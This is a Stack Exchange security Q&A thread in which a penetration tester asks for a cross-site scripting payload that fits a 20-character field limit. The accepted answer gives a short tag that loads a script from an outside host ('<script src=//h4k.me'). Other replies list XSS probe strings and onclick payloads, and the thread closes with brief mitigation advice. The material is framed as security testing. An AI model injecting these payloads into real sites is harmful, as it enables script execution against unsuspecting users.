Take the 2-minute tour ×
Information Security Stack Exchange is a question and answer site for Information security professionals. It's 100% free, no registration required.

While performing penetration testing, I got stuck to a point. There is a text field which does not accept more than 20 characters(server side validation). I inserted following piece of code to check XSS (From RSnake's XSS cheat sheet):

'';!--"<XSS>=&{()}

and verified the source for <XSS verses &lt;XSS to see if it is vulnerable. I got <XSSin the source which suggests that this field is vulnerable to cross site scripting.

Now I am trying to create some code which should be less or equal to 20 characters and could be executed on this field to confirm the XSS but I am finding it hard. So in this case I have basically two questions:

1: Can someone help with such piece of code?

2: To mitigate XSS, validation for max-length(15-20 characters) could be one of the options other than the combination of data validation + HTML encoding? Please assume business rules agrees with the 15-20 characters limit.

Hope I was able to explain the question and the scenario. Kindly let me know in case of any doubts.

share|improve this question
1  
Got the executable code. <a href=a.by>; –  p_upadhyay Jun 14 '11 at 7:13
2  
Not exactly answer to your question, but interesting tips how to shorten JavaScript code can be found here: github.com/jed/140bytes/wiki/Byte-saving-techniques –  bretik Jun 14 '11 at 7:48
2  
why did you delete most of the text of the question? it was fine as it was (just no need to copy the answers, just mark it as accepted...) –  AviD Jun 14 '11 at 9:43
1  
@P_upadhyay: Please remove the answers from your question. If there is not an answer given that is correct, add an answer yourself and mark it as correct, but don't edit questions to add the answers. See my note on edit #4 for why I removed them once already. –  Caleb Jun 17 '11 at 15:35
2  
@p_upadhyay: You don't need extra reputation to do the things you need to do to handle your own questions properly. First of all, you should mark Ori's answer as correct. You state in your edit you got at least part of your right answer from him, so check his answer as correct. If the extra examples are useful, you can add another answer yourself. You will be prompted about "are you sure you want to answer your own question", but you can go ahead and add an answer. –  Caleb Jun 20 '11 at 10:07
show 4 more comments

2 Answers

up vote 6 down vote accepted

I love irony. Here's the line that was going to be my response. And the error I received for posting it.

<script src=//h4k.me

Oops! Your answer couldn't be submitted because:

body must be at least 30 characters; you entered 20

Use variable recasting if at all possible before processing input (if not, regex to throw <'s /s etc out.)

share|improve this answer
    
I don't think that's irony ;) –  AviD Jun 14 '11 at 7:24
    
Thanks for the champ script Ori :-) –  p_upadhyay Jun 22 '11 at 9:17
add comment

Other then the script provided by Ori, there are a few other scripts which could be useful in this case:-

<a href=http://a.by>
<a onclick=alert(2)>
<b onclick=alert(2)>
share|improve this answer
add comment

Your Answer

 
discard

By posting your answer, you agree to the privacy policy and terms of service.

Not the answer you're looking for? Browse other questions tagged or ask your own question.